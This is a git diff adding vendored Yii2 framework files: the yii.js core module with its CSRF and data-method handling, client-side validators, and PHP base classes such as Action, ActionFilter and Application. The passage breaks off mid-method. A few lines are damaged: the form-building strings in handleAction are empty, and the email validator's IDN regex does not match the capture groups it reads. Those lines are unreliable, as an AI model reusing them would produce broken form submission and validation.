http://www.yiiframework.com/license/ + * @author Qiang Xue + * @since 2.0 + */ + +/** + * yii is the root module for all Yii JavaScript modules. + * It implements a mechanism of organizing JavaScript code in modules through the function "yii.initModule()". + * + * Each module should be named as "x.y.z", where "x" stands for the root module (for the Yii core code, this is "yii"). + * + * A module may be structured as follows: + * + * ~~~ + * yii.sample = (function($) { + * var pub = { + * // whether this module is currently active. If false, init() will not be called for this module + * // it will also not be called for all its child modules. If this property is undefined, it means true. + * isActive: true, + * init: function() { + * // ... module initialization code go here ... + * }, + * + * // ... other public functions and properties go here ... + * }; + * + * // ... private functions and properties go here ... + * + * return pub; + * })(jQuery); + * ~~~ + * + * Using this structure, you can define public and private functions/properties for a module. + * Private functions/properties are only visible within the module, while public functions/properties + * may be accessed outside of the module. For example, you can access "yii.sample.isActive". + * + * You must call "yii.initModule()" once for the root module of all your modules. + */ +yii = (function ($) { + var pub = { + /** + * List of scripts that can be loaded multiple times via AJAX requests. Each script can be represented + * as either an absolute URL or a relative one. + */ + reloadableScripts: [], + /** + * The selector for clickable elements that need to support confirmation and form submission. + */ + clickableSelector: 'a, button, input[type="submit"], input[type="button"], input[type="reset"], input[type="image"]', + /** + * The selector for changeable elements that need to support confirmation and form submission. + */ + changeableSelector: 'select, input, textarea', + + /** + * @return string|undefined the CSRF parameter name. Undefined is returned if CSRF validation is not enabled. + */ + getCsrfParam: function () { + return $('meta[name=csrf-param]').prop('content'); + }, + + /** + * @return string|undefined the CSRF token. Undefined is returned if CSRF validation is not enabled. + */ + getCsrfToken: function () { + return $('meta[name=csrf-token]').prop('content'); + }, + + /** + * Sets the CSRF token in the meta elements. + * This method is provided so that you can update the CSRF token with the latest one you obtain from the server. + * @param name the CSRF token name + * @param value the CSRF token value + */ + setCsrfToken: function (name, value) { + $('meta[name=csrf-param]').prop('content', name); + $('meta[name=csrf-token]').prop('content', value) + }, + + /** + * Updates all form CSRF input fields with the latest CSRF token. + * This method is provided to avoid cached forms containing outdated CSRF tokens. + */ + refreshCsrfToken: function () { + var token = pub.getCsrfToken(); + if (token) { + $('form input[name="' + pub.getCsrfParam() + '"]').val(token); + } + }, + + /** + * Displays a confirmation dialog. + * The default implementation simply displays a js confirmation dialog. + * You may override this by setting `yii.confirm`. + * @param message the confirmation message. + * @param ok a callback to be called when the user confirms the message + * @param cancel a callback to be called when the user cancels the confirmation + */ + confirm: function (message, ok, cancel) { + if (confirm(message)) { + !ok || ok(); + } else { + !cancel || cancel(); + } + }, + + /** + * Handles the action triggered by user. + * This method recognizes the `data-method` attribute of the element. If the attribute exists, + * the method will submit the form containing this element. If there is no containing form, a form + * will be created and submitted using the method given by this attribute value (e.g. "post", "put"). + * For hyperlinks, the form action will take the value of the "href" attribute of the link. + * For other elements, either the containing form action or the current page URL will be used + * as the form action URL. + * + * If the `data-method` attribute is not defined, the `href` attribute (if any) of the element + * will be assigned to `window.location`. + * + * @param $e the jQuery representation of the element + */ + handleAction: function ($e) { + var method = $e.data('method'), + $form = $e.closest('form'), + action = $e.attr('href'); + + if (method === undefined) { + if (action && action != '#') { + window.location = action; + } + return; + } + + var newForm = !$form.length || action && action != '#'; + if (newForm) { + if (!action || !action.match(/(^\/|:\/\/)/)) { + action = window.location.href; + } + $form = $('
            '); + var target = $e.prop('target'); + if (target) { + $form.attr('target', target); + } + if (!method.match(/(get|post)/i)) { + $form.append(''); + method = 'POST'; + } + if (!method.match(/(get|head|options)/i)) { + var csrfParam = pub.getCsrfParam(); + if (csrfParam) { + $form.append(''); + } + } + $form.hide().appendTo('body'); + } + + var activeFormData = $form.data('yiiActiveForm'); + if (activeFormData) { + // remember who triggers the form submission. This is used by yii.activeForm.js + activeFormData.submitObject = $e; + } + + var oldMethod = $form.prop('method'); + $form.prop('method', method); + + $form.trigger('submit'); + + $form.prop('method', oldMethod); + + if (newForm) { + $form.remove(); + } + }, + + getQueryParams: function (url) { + var pos = url.indexOf('?'); + if (pos < 0) { + return {}; + } + var qs = url.substring(pos + 1).split('&'); + for (var i = 0, result = {}; i < qs.length; i++) { + qs[i] = qs[i].split('='); + result[decodeURIComponent(qs[i][0])] = decodeURIComponent(qs[i][1]); + } + return result; + }, + + initModule: function (module) { + if (module.isActive === undefined || module.isActive) { + if ($.isFunction(module.init)) { + module.init(); + } + $.each(module, function () { + if ($.isPlainObject(this)) { + pub.initModule(this); + } + }); + } + }, + + init: function () { + initCsrfHandler(); + initRedirectHandler(); + initScriptFilter(); + initDataMethods(); + } + }; + + function initRedirectHandler() { + // handle AJAX redirection + $(document).ajaxComplete(function (event, xhr, settings) { + var url = xhr.getResponseHeader('X-Redirect'); + if (url) { + window.location = url; + } + }); + } + + function initCsrfHandler() { + // automatically send CSRF token for all AJAX requests + $.ajaxPrefilter(function (options, originalOptions, xhr) { + if (!options.crossDomain && pub.getCsrfParam()) { + xhr.setRequestHeader('X-CSRF-Token', pub.getCsrfToken()); + } + }); + pub.refreshCsrfToken(); + } + + function initDataMethods() { + var handler = function (event) { + var $this = $(this), + method = $this.data('method'), + message = $this.data('confirm'); + + if (method === undefined && message === undefined) { + return true; + } + + if (message !== undefined) { + pub.confirm(message, function () { + pub.handleAction($this); + }); + } else { + pub.handleAction($this); + } + event.stopImmediatePropagation(); + return false; + }; + + // handle data-confirm and data-method for clickable and changeable elements + $(document).on('click.yii', pub.clickableSelector, handler) + .on('change.yii', pub.changeableSelector, handler); + } + + function initScriptFilter() { + var hostInfo = location.protocol + '//' + location.host; + var loadedScripts = $('script[src]').map(function () { + return this.src.charAt(0) === '/' ? hostInfo + this.src : this.src; + }).toArray(); + $.ajaxPrefilter('script', function (options, originalOptions, xhr) { + if (options.dataType == 'jsonp') { + return; + } + var url = options.url.charAt(0) === '/' ? hostInfo + options.url : options.url; + if ($.inArray(url, loadedScripts) === -1) { + loadedScripts.push(url); + } else { + var found = $.inArray(url, $.map(pub.reloadableScripts, function (script) { + return script.charAt(0) === '/' ? hostInfo + script : script; + })) !== -1; + if (!found) { + xhr.abort(); + } + } + }); + } + + return pub; +})(jQuery); + +jQuery(document).ready(function () { + yii.initModule(yii); +}); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.validation.js b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.validation.js new file mode 100644 index 00000000..61842866 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/assets/yii.validation.js @@ -0,0 +1,364 @@ +/** + * Yii validation module. + * + * This JavaScript module provides the validation methods for the built-in validators. + * + * @link http://www.yiiframework.com/ + * @copyright Copyright (c) 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @author Qiang Xue + * @since 2.0 + */ + +yii.validation = (function ($) { + var pub = { + isEmpty: function (value) { + return value === null || value === undefined || value == [] || value === ''; + }, + + addMessage: function (messages, message, value) { + messages.push(message.replace(/\{value\}/g, value)); + }, + + required: function (value, messages, options) { + var valid = false; + if (options.requiredValue === undefined) { + var isString = typeof value == 'string' || value instanceof String; + if (options.strict && value !== undefined || !options.strict && !pub.isEmpty(isString ? $.trim(value) : value)) { + valid = true; + } + } else if (!options.strict && value == options.requiredValue || options.strict && value === options.requiredValue) { + valid = true; + } + + if (!valid) { + pub.addMessage(messages, options.message, value); + } + }, + + boolean: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + var valid = !options.strict && (value == options.trueValue || value == options.falseValue) + || options.strict && (value === options.trueValue || value === options.falseValue); + + if (!valid) { + pub.addMessage(messages, options.message, value); + } + }, + + string: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + + if (typeof value !== 'string') { + pub.addMessage(messages, options.message, value); + return; + } + + if (options.min !== undefined && value.length < options.min) { + pub.addMessage(messages, options.tooShort, value); + } + if (options.max !== undefined && value.length > options.max) { + pub.addMessage(messages, options.tooLong, value); + } + if (options.is !== undefined && value.length != options.is) { + pub.addMessage(messages, options.notEqual, value); + } + }, + + file: function (attribute, messages, options) { + var files = getUploadedFiles(attribute, messages, options); + $.each(files, function (i, file) { + validateFile(file, messages, options); + }); + }, + + image: function (attribute, messages, options, deferred) { + var files = getUploadedFiles(attribute, messages, options); + + $.each(files, function (i, file) { + validateFile(file, messages, options); + + // Skip image validation if FileReader API is not available + if (typeof FileReader === "undefined") { + return; + } + + var def = $.Deferred(), + fr = new FileReader(), + img = new Image(); + + img.onload = function () { + if (options.minWidth && this.width < options.minWidth) { + messages.push(options.underWidth.replace(/\{file\}/g, file.name)); + } + + if (options.maxWidth && this.width > options.maxWidth) { + messages.push(options.overWidth.replace(/\{file\}/g, file.name)); + } + + if (options.minHeight && this.height < options.minHeight) { + messages.push(options.underHeight.replace(/\{file\}/g, file.name)); + } + + if (options.maxHeight && this.height > options.maxHeight) { + messages.push(options.overHeight.replace(/\{file\}/g, file.name)); + } + def.resolve(); + }; + + img.onerror = function () { + messages.push(options.notImage.replace(/\{file\}/g, file.name)); + def.resolve(); + }; + + fr.onload = function () { + img.src = fr.result; + }; + + // Resolve deferred if there was error while reading data + fr.onerror = function () { + def.resolve(); + }; + + fr.readAsDataURL(file); + + deferred.push(def); + }); + + }, + + number: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + + if (typeof value === 'string' && !value.match(options.pattern)) { + pub.addMessage(messages, options.message, value); + return; + } + + if (options.min !== undefined && value < options.min) { + pub.addMessage(messages, options.tooSmall, value); + } + if (options.max !== undefined && value > options.max) { + pub.addMessage(messages, options.tooBig, value); + } + }, + + range: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + + if (!options.allowArray && $.isArray(value)) { + pub.addMessage(messages, options.message, value); + return; + } + + var inArray = true; + + $.each($.isArray(value) ? value : [value], function(i, v) { + if ($.inArray(v, options.range) == -1) { + inArray = false; + return false; + } else { + return true; + } + }); + + if (options.not === inArray) { + pub.addMessage(messages, options.message, value); + } + }, + + regularExpression: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + + if (!options.not && !value.match(options.pattern) || options.not && value.match(options.pattern)) { + pub.addMessage(messages, options.message, value); + } + }, + + email: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + + var valid = true; + + if (options.enableIDN) { + var regexp = /^(.*?)$/, + matches = regexp.exec(value); + if (matches === null) { + valid = false; + } else { + value = matches[1] + punycode.toASCII(matches[2]) + '@' + punycode.toASCII(matches[3]) + matches[4]; + } + } + + if (!valid || !(value.match(options.pattern) || (options.allowName && value.match(options.fullPattern)))) { + pub.addMessage(messages, options.message, value); + } + }, + + url: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + + if (options.defaultScheme && !value.match(/:\/\//)) { + value = options.defaultScheme + '://' + value; + } + + var valid = true; + + if (options.enableIDN) { + var regexp = /^([^:]+):\/\/([^\/]+)(.*)$/, + matches = regexp.exec(value); + if (matches === null) { + valid = false; + } else { + value = matches[1] + '://' + punycode.toASCII(matches[2]) + matches[3]; + } + } + + if (!valid || !value.match(options.pattern)) { + pub.addMessage(messages, options.message, value); + } + }, + + captcha: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + + // CAPTCHA may be updated via AJAX and the updated hash is stored in body data + var hash = $('body').data(options.hashKey); + if (hash == null) { + hash = options.hash; + } else { + hash = hash[options.caseSensitive ? 0 : 1]; + } + var v = options.caseSensitive ? value : value.toLowerCase(); + for (var i = v.length - 1, h = 0; i >= 0; --i) { + h += v.charCodeAt(i); + } + if (h != hash) { + pub.addMessage(messages, options.message, value); + } + }, + + compare: function (value, messages, options) { + if (options.skipOnEmpty && pub.isEmpty(value)) { + return; + } + + var compareValue, valid = true; + if (options.compareAttribute === undefined) { + compareValue = options.compareValue; + } else { + compareValue = $('#' + options.compareAttribute).val(); + } + + if (options.type === 'number') { + value = parseFloat(value); + compareValue = parseFloat(compareValue); + } + switch (options.operator) { + case '==': + valid = value == compareValue; + break; + case '===': + valid = value === compareValue; + break; + case '!=': + valid = value != compareValue; + break; + case '!==': + valid = value !== compareValue; + break; + case '>': + valid = parseFloat(value) > parseFloat(compareValue); + break; + case '>=': + valid = parseFloat(value) >= parseFloat(compareValue); + break; + case '<': + valid = parseFloat(value) < parseFloat(compareValue); + break; + case '<=': + valid = parseFloat(value) <= parseFloat(compareValue); + break; + default: + valid = false; + break; + } + + if (!valid) { + pub.addMessage(messages, options.message, value); + } + } + }; + + function getUploadedFiles(attribute, messages, options) { + var files = $(attribute.input).get(0).files; + if (!files) { + messages.push(options.message); + return []; + } + + if (files.length === 0) { + if (!options.skipOnEmpty) { + messages.push(options.uploadRequired); + } + return []; + } + + if (options.maxFiles && options.maxFiles < files.length) { + messages.push(options.tooMany); + return []; + } + + return files; + } + + function validateFile(file, messages, options) { + if (options.extensions && options.extensions.length > 0) { + var index, ext; + + index = file.name.lastIndexOf('.'); + + if (!~index) { + ext = ''; + } else { + ext = file.name.substr(index + 1, file.name.length).toLowerCase(); + } + + if (!~options.extensions.indexOf(ext)) { + messages.push(options.wrongExtension.replace(/\{file\}/g, file.name)); + } + } + + if (options.mimeTypes && options.mimeTypes.length > 0) { + if (!~options.mimeTypes.indexOf(file.type)) { + messages.push(options.wrongMimeType.replace(/\{file\}/g, file.name)); + } + } + + if (options.maxSize && options.maxSize < file.size) { + messages.push(options.tooBig.replace(/\{file\}/g, file.name)); + } + + if (options.minSize && options.minSize > file.size) { + messages.push(options.tooSmall.replace(/\{file\}/g, file.name)); + } + } + + return pub; +})(jQuery); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Action.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Action.php new file mode 100644 index 00000000..7ac9892c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Action.php @@ -0,0 +1,120 @@ + 1]`. + * Then the `run()` method will be invoked as `run(1)` automatically. + * + * @property string $uniqueId The unique ID of this action among the whole application. This property is + * read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class Action extends Component +{ + /** + * @var string ID of the action + */ + public $id; + /** + * @var Controller the controller that owns this action + */ + public $controller; + + + /** + * Constructor. + * + * @param string $id the ID of this action + * @param Controller $controller the controller that owns this action + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct($id, $controller, $config = []) + { + $this->id = $id; + $this->controller = $controller; + parent::__construct($config); + } + + /** + * Returns the unique ID of this action among the whole application. + * + * @return string the unique ID of this action among the whole application. + */ + public function getUniqueId() + { + return $this->controller->getUniqueId() . '/' . $this->id; + } + + /** + * Runs this action with the specified parameters. + * This method is mainly invoked by the controller. + * + * @param array $params the parameters to be bound to the action's run() method. + * @return mixed the result of the action + * @throws InvalidConfigException if the action class does not have a run() method + */ + public function runWithParams($params) + { + if (!method_exists($this, 'run')) { + throw new InvalidConfigException(get_class($this) . ' must define a "run()" method.'); + } + $args = $this->controller->bindActionParams($this, $params); + Yii::trace('Running action: ' . get_class($this) . '::run()', __METHOD__); + if (Yii::$app->requestedParams === null) { + Yii::$app->requestedParams = $args; + } + if ($this->beforeRun()) { + $result = call_user_func_array([$this, 'run'], $args); + $this->afterRun(); + + return $result; + } else { + return null; + } + } + + /** + * This method is called right before `run()` is executed. + * You may override this method to do preparation work for the action run. + * If the method returns false, it will cancel the action. + * + * @return boolean whether to run the action. + */ + protected function beforeRun() + { + return true; + } + + /** + * This method is called right after `run()` is executed. + * You may override this method to do post-processing work for the action run. + */ + protected function afterRun() + { + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ActionEvent.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ActionEvent.php new file mode 100644 index 00000000..897572b1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ActionEvent.php @@ -0,0 +1,46 @@ + + * @since 2.0 + */ +class ActionEvent extends Event +{ + /** + * @var Action the action currently being executed + */ + public $action; + /** + * @var mixed the action result. Event handlers may modify this property to change the action result. + */ + public $result; + /** + * @var boolean whether to continue running the action. Event handlers of + * [[Controller::EVENT_BEFORE_ACTION]] may set this property to decide whether + * to continue running the current action. + */ + public $isValid = true; + + + /** + * Constructor. + * @param Action $action the action associated with this action event. + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct($action, $config = []) + { + $this->action = $action; + parent::__construct($config); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/ActionFilter.php b/php/yii2/basic/vendor/yiisoft/yii2/base/ActionFilter.php new file mode 100644 index 00000000..e1dc5dbc --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/ActionFilter.php @@ -0,0 +1,132 @@ + + * @since 2.0 + */ +class ActionFilter extends Behavior +{ + /** + * @var array list of action IDs that this filter should apply to. If this property is not set, + * then the filter applies to all actions, unless they are listed in [[except]]. + * If an action ID appears in both [[only]] and [[except]], this filter will NOT apply to it. + * + * Note that if the filter is attached to a module, the action IDs should also include child module IDs (if any) + * and controller IDs. + * + * @see except + */ + public $only; + /** + * @var array list of action IDs that this filter should not apply to. + * @see only + */ + public $except = []; + + + /** + * @inheritdoc + */ + public function attach($owner) + { + $this->owner = $owner; + $owner->on(Controller::EVENT_BEFORE_ACTION, [$this, 'beforeFilter']); + } + + /** + * @inheritdoc + */ + public function detach() + { + if ($this->owner) { + $this->owner->off(Controller::EVENT_BEFORE_ACTION, [$this, 'beforeFilter']); + $this->owner->off(Controller::EVENT_AFTER_ACTION, [$this, 'afterFilter']); + $this->owner = null; + } + } + + /** + * @param ActionEvent $event + */ + public function beforeFilter($event) + { + if (!$this->isActive($event->action)) { + return; + } + + $event->isValid = $this->beforeAction($event->action); + if ($event->isValid) { + // call afterFilter only if beforeFilter succeeds + // beforeFilter and afterFilter should be properly nested + $this->owner->on(Controller::EVENT_AFTER_ACTION, [$this, 'afterFilter'], null, false); + } else { + $event->handled = true; + } + } + + /** + * @param ActionEvent $event + */ + public function afterFilter($event) + { + $event->result = $this->afterAction($event->action, $event->result); + $this->owner->off(Controller::EVENT_AFTER_ACTION, [$this, 'afterFilter']); + } + + /** + * This method is invoked right before an action is to be executed (after all possible filters.) + * You may override this method to do last-minute preparation for the action. + * @param Action $action the action to be executed. + * @return boolean whether the action should continue to be executed. + */ + public function beforeAction($action) + { + return true; + } + + /** + * This method is invoked right after an action is executed. + * You may override this method to do some postprocessing for the action. + * @param Action $action the action just executed. + * @param mixed $result the action execution result + * @return mixed the processed action result. + */ + public function afterAction($action, $result) + { + return $result; + } + + /** + * Returns a value indicating whether the filer is active for the given action. + * @param Action $action the action being filtered + * @return boolean whether the filer is active for the given action. + */ + protected function isActive($action) + { + if ($this->owner instanceof Module) { + // convert action uniqueId into an ID relative to the module + $mid = $this->owner->getUniqueId(); + $id = $action->getUniqueId(); + if ($mid !== '' && strpos($id, $mid) === 0) { + $id = substr($id, strlen($mid) + 1); + } + } else { + $id = $action->id; + } + return !in_array($id, $this->except, true) && (empty($this->only) || in_array($id, $this->only, true)); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/base/Application.php b/php/yii2/basic/vendor/yiisoft/yii2/base/Application.php new file mode 100644 index 00000000..cdcb5774 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/base/Application.php @@ -0,0 +1,657 @@ + + * @since 2.0 + */ +abstract class Application extends Module +{ + /** + * @event Event an event raised before the application starts to handle a request. + */ + const EVENT_BEFORE_REQUEST = 'beforeRequest'; + /** + * @event Event an event raised after the application successfully handles a request (before the response is sent out). + */ + const EVENT_AFTER_REQUEST = 'afterRequest'; + /** + * Application state used by [[state]]: application just started. + */ + const STATE_BEGIN = 0; + /** + * Application state used by [[state]]: application is initializing. + */ + const STATE_INIT = 1; + /** + * Application state used by [[state]]: application is triggering [[EVENT_BEFORE_REQUEST]]. + */ + const STATE_BEFORE_REQUEST = 2; + /** + * Application state used by [[state]]: application is handling the request. + */ + const STATE_HANDLING_REQUEST = 3; + /** + * Application state used by [[state]]: application is triggering [[EVENT_AFTER_REQUEST]].. + */ + const STATE_AFTER_REQUEST = 4; + /** + * Application state used by [[state]]: application is about to send response. + */ + const STATE_SENDING_RESPONSE = 5; + /** + * Application state used by [[state]]: application has ended. + */ + const STATE_END = 6; + + /** + * @var string the namespace that controller classes are located in. + * This namespace will be used to load controller classes by prepending it to the controller class name. + * The default namespace is `app\controllers`. + * + * Please refer to the [guide about class autoloading](guide:concept-autoloading.md) for more details. + */ + public $controllerNamespace = 'app\\controllers'; + /** + * @var string the application name. + */ + public $name = 'My Application'; + /** + * @var string the version of this application. + */ + public $version = '1.0'; + /** + * @var string the charset currently used for the application. + */ + public $charset = 'UTF-8'; + /** + * @var string the language that is meant to be used for end users. It is recommended that you + * use [IETF language tags](http://en.wikipedia.org/wiki/IETF_language_tag). For example, `en` stands + * for English, while `en-US` stands for English (United States). + * @see sourceLanguage + */ + public $language = 'en-US'; + /** + * @var string the language that the application is written in. This mainly refers to + * the language that the messages and view files are written in. + * @see language + */ + public $sourceLanguage = 'en-US'; + /** + * @var Controller the currently active controller instance + */ + public $controller; + /** + * @var string|boolean the layout that should be applied for views in this application. Defaults to 'main'. + * If this is false, layout will be disabled. + */ + public $layout = 'main'; + /** + * @var string the requested route + */ + public $requestedRoute; + /** + * @var Action the requested Action. If null, it means the request cannot be resolved into an action. + */ + public $requestedAction; + /** + * @var array the parameters supplied to the requested action. + */ + public $requestedParams; + /** + * @var array list of installed Yii extensions. Each array element represents a single extension + * with the following structure: + * + * ~~~ + * [ + * 'name' => 'extension name', + * 'version' => 'version number', + * 'bootstrap' => 'BootstrapClassName', // optional, may also be a configuration array + * 'alias' => [ + * '@alias1' => 'to/path1', + * '@alias2' => 'to/path2', + * ], + * ] + * ~~~ + * + * The "bootstrap" class listed above will be instantiated during the application + * [[bootstrap()|bootstrapping process]]. If the class implements [[BootstrapInterface]], + * its [[BootstrapInterface::bootstrap()|bootstrap()]] method will be also be called. + * + * If not set explicitly in the application config, this property will be populated with the contents of + * `@vendor/yiisoft/extensions.php`. + */ + public $extensions; + /** + * @var array list of components that should be run during the application [[bootstrap()|bootstrapping process]]. + * + * Each component may be specified in one of the following formats: + * + * - an application component ID as specified via [[components]]. + * - a module ID as specified via [[modules]]. + * - a class name. + * - a configuration array. + * + * During the bootstrapping process, each component will be instantiated. If the component class + * implements [[BootstrapInterface]], its [[BootstrapInterface::bootstrap()|bootstrap()]] method + * will be also be called. + */ + public $bootstrap = []; + /** + * @var integer the current application state during a request handling life cycle. + * This property is managed by the application. Do not modify this property. + */ + public $state; + /** + * @var array list of loaded modules indexed by their class names. + */ + public $loadedModules = []; + + + /** + * Constructor. + * @param array $config name-value pairs that will be used to initialize the object properties. + * Note that the configuration must contain both [[id]] and [[basePath]]. + * @throws InvalidConfigException if either [[id]] or [[basePath]] configuration is missing. + */ + public function __construct($config = []) + { + Yii::$app = $this; + $this->setInstance($this); + + $this->state = self::STATE_BEGIN; + + $this->preInit($config); + + $this->registerErrorHandler($config); + + Component::__construct($config); + } + + /** + * Pre-initializes the application. + * This method is called at the beginning of the application constructor. + * It initializes several important application properties. + * If you override this method, please make sure you call the parent implementation. + * @param array $config the application configuration + * @throws InvalidConfigException if either [[id]] or [[basePath]] configuration is missing. + */ + public function preInit(&$config) + { + if (!isset($config['id'])) { + throw new InvalidConfigException('The "id" configuration for the Application is required.'); + } + if (isset($config['basePath'])) { + $this->setBasePath($config['basePath']); + unset($config['basePath']); + } else { + throw new InvalidConfigException('The "basePath" configuration for the Application is required.'); + } + + if (isset($config['vendorPath'])) { + $this->setVendorPath($config['vendorPath']); + unset($config['vendorPath']); + } else { + // set "@vendor" + $this->getVendorPath(); + } + if (isset($config['runtimePath'])) { + $this->setRuntimePath($config['runtimePath']); + unset($config['runtimePath']); + } else { + // set "@runtime" + $this->getRuntimePath(); + } + + if (isset($config['timeZone'])) { + $this->setTimeZone($config['timeZone']); + unset($config['timeZone']); + } elseif (!ini_get('date.timezone')) { + $this->setTimeZone('UTC'); + } + + // merge core components with custom components + foreach ($this->coreComponents() as $id => $component) { + if (!isset($config['components'][$id])) { + $config['components'][$id] = $component; + } elseif (is_array($config['components'][$id]) && !isset($config['components'][$id]['class'])) { + $config['components'][$id]['class'] = $component['class']; + } + } + } + + /** + * @inheritdoc + */ + public function init() + { + $this->state = self::STATE_INIT; + $this->bootstrap(); + } + + /** + * Initializes extensions and executes bootstrap components. + * This method is called by [[init()]] after the application has been fully configured. + * If you override this method, make sure you also call the parent implementation. + */ + protected function bootstrap() + { + if ($this->extensions === null) { + $file = Yii::getAlias('@vendor/yiisoft/extensions.php'); + $this->extensions = is_file($file) ? include($file) : []; + } + foreach ($this->extensions as $extension) { + if (!empty($extension['alias'])) { + foreach ($extension['alias'] as $name => $path) { + Yii::setAlias($name, $path); + } + } + if (isset($extension['bootstrap'])) { + $component = Yii::createObject($extension['bootstrap']); + if ($component instanceof BootstrapInterface) { + Yii::trace("Bootstrap with " . get_class($component) . '::bootstrap()', __METHOD__); + $component->bootstrap($this); + } else { + Yii::trace("Bootstrap with " . get_class($component), __METHOD__); + } + } + } + + foreach ($this->bootstrap as $class) { + $component = null; + if (is_string($class)) { + if ($this->has($class)) { + $component = $this->get($class); + } elseif ($this->hasModule($class)) { + $component = $this->getModule($class); + } elseif (strpos($class, '\\') === false) { + throw new InvalidConfigException("Unknown bootstrapping component ID: $class"); + } + } + if (!isset($component)) { + $component = Yii::createObject($class); + } + + if ($component instanceof BootstrapInterface) { + Yii::trace("Bootstrap with " . get_class($component) . '::bootstrap()', __METHOD__); + $component->bootstrap($this); + } else { + Yii::trace("Bootstrap with " . get_class($component), __METHOD__); + } + } + } + + /** + * Registers the errorHandler component as a PHP error handler. + * @param array $config application config + */ + protected function registerErrorHandler(&$config) + { + if (YII_ENABLE_ERROR_HANDLER) { + if (!isset($config['components']['errorHandler']['class'])) { + echo "Error: no errorHandler component is configured.\n"; + exit(1); + } + $this->set('errorHandler', $config['components']['errorHandler']); + unset($config['components']['errorHandler']); + $this->getErrorHandler()->register(); + } + } + + /** + * Returns an ID that uniquely identifies this module among all modules within the current application. + * Since this is an application instance, it will always return an empty string. + * @return string the unique ID of the module. + */ + public function getUniqueId() + { + return ''; + } + + /** + * Sets the root directory of the application and the @app alias. + * This method can only be invoked at the beginning of the constructor. + * @param string $path the root directory of the application. + * @property string the root directory of the application. + * @throws InvalidParamException if the directory does not exist. + */ + public function setBasePath($path) + { + parent::setBasePath($path); + Yii::setAlias('@app', $this->getBasePath()); + } + + /** + * Runs the application. + * This is the main entrance of an application. + * @return integer the exit status (0 means normal, non-zero values mean abnormal) + */ + public function run() + { + try { + + $this->state = self::STATE_BEFORE_REQUEST; + $this->trigger(self::EVENT_BEFORE_REQUEST); + + $this->state = self::STATE_HANDLING_REQUEST; + $response = $this->handleRequest($this->getRequest()); + + $this->state = self::STATE_AFTER_REQUEST; + $this->trigger(self::EVENT_AFTER_REQUEST); + + $this->state = self::STATE_SENDING_RESPONSE; + $response->send(); + + $this->state = self::STATE_END; + + return $response->exitStatus; + + } catch (ExitException $e) { + + $this->end($e->statusCode, isset($response) ? $response : null); + return $e->statusCode; + + } + } + + /** + * Handles the specified request. + * + * This method should return an instance of [[Response]] or its child class + * which represents the handling result of the request. + * + * @param Request $request the request to be handled + * @return Response the resulting response + */ + abstract public function handleRequest($request); + + private $_runtimePath; + + /** + * Returns the directory that stores runtime files. + * @return string the directory that stores runtime files. + * Defaults to the "runtime" subdirectory under [[basePath]]. + */ + public function getRuntimePath() + { + if ($this->_runtimePath === null) { + $this->setRuntimePath($this->getBasePath() . DIRECTORY_SEPARATOR . 'runtime'); + } + + return $this->_runtimePath; + } + + /** + * Sets the directory that stores runtime files. + * @param string $path the directory that stores runtime files. + */ + public function setRuntimePath($path) + { + $this->_runtimePath = Yii::getAlias($path); + Yii::setAlias('@runtime', $this->_runtimePath); + } + + private $_vendorPath; + + /** + * Returns the directory that stores vendor files. + * @return string the directory that stores vendor files. + * Defaults to "vendor" directory under [[basePath]]. + */ + public function getVendorPath() + { + if ($this->_vendorPath === null) { + $this->setVendorPath($this->getBasePath() . DIRECTORY_SEPARATOR . 'vendor'); + } + + return $this->_vendorPath; + } + + /** + * Sets the directory that stores vendor files. + * @param string $path the directory that stores vendor files. + */ + public function setVendorPath($path) + { + $this->_vendorPath = Yii::getAlias($path); + Yii::setAlias('@vendor', $this->_vendorPath); + Yii::setAlias('@bower', $this->_vendorPath . DIRECTORY_SEPARATOR . 'bower'); + Yii::setAlias('@npm', $this->_vendorPath . DIRECTORY_SEPARATOR . 'npm'); + } + + /** + * Returns the time zone used by this application. + * This is a simple wrapper of PHP function date_default_timezone_get(). + * If time zone is not configured in php.ini or application config, + * it will be set to UTC by default. + * @return string the time zone used by this application. + * @see http://php.net/manual/en/function.date-default-timezone-get.php + */ + public function getTimeZone() + { + return date_default_timezone_get(); + } + + /** + * Sets the time zone used by this application. + * This is a simple wrapper of PHP function date_default_timezone_set(). + * Refer to the [php manual](http://www.php.net/manual/en/timezones.php) for available timezones. + * @param string $value the time zone used by this application. + * @see http://php.net/manual/en/function.date-default-timezone-set.php + */ + public function setTimeZone($value) + { + date_default_timezone_set($value); + } + + /** + * Returns the database connection component. + * @return \yii\db\Connection the database connection. + */ + public function getDb() + { + return $this->get('db'); + } + + /** + * Returns the log dispatcher component. + * @return \yii\log\Dispatcher the log dispatcher application component. + */ + public function getLog() + { + return $this->get('log'); + } + + /** + * Returns the error handler component. + * @return \yii\web\ErrorHandler|\yii\console\ErrorHandler the error handler application component. + */ + public function getErrorHandler() + { + return $this->get('errorHandler'); + } + + /** + * Returns the cache component. + * @return \yii\caching\Cache the cache application component. Null if the component is not enabled. + */ + public function getCache() + { + return 